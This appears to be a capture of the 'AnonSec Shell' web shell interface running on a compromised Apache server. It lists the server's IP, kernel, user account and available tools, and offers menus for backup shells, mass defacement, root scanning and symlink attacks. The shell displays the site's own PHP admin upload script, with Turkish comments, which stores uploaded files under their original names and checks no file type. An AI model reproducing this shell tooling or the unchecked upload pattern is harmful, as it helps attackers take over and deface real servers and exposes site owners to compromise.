%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.216.24   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/admin/upload.php
<?php
ob_start();

include "lib/connection1.php";

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
    $categoryId = $_POST["categoryId"];
    $productId = $_POST["productId"];
    $variationId = $_POST["variationId"];

    // Dosyanın yükleneceği hedef dizini belirleyin
    $uploadDirectory = '../pdf/';

    $file = $_FILES["fileToUpload"];

    // Dosyanın geçerli olduğunu kontrol edin
    if ($file["error"] === UPLOAD_ERR_OK) {
        // Dosya adını ve yolu oluşturun
        $fileName = basename($file["name"]);
        $targetFilePath = $uploadDirectory . $fileName;

        // Dosyayı hedef dizine taşıyın
        if (move_uploaded_file($file["tmp_name"], $targetFilePath)) {
            // Dosya yükleme işlemi başarılı olduğunda veritabanına bilgileri ekle
            $sql = "INSERT INTO tbl_product_pdf (category_id, product_id, variation_id, file_name, file_size, file_path) VALUES (?, ?, ?, ?, ?, ?)";

            // SQL ifadesini hazırlayın
            $stmt = $ceha->prepare($sql);

            // Değişkenlere bağlanın ve değerleri atayın
            $stmt->bind_param("iiisds", $categoryId, $productId, $variationId, $fileName, $fileSize, $targetFilePath);

            // Diğer değişkenleri belirtin
            $fileSize = $file["size"];

            // Sorguyu çalıştırın
            if ($stmt->execute()) {
                echo '<script>alert("Dosya başarıyla yüklendi ve veritabanına eklendi.");</script>';
            } else {
                echo '<script>alert("Veritabanına ekleme sırasında bir hata oluştu.");</script>';
            }
        } else {
            echo '<script>alert("Dosya taşınırken bir hata oluştu.");</script>';
        }
    } else {
        echo '<script>alert("Dosya yüklenirken bir hata oluştu.");</script>';
    }
}
?>

Anon7 - 2022
AnonSec Team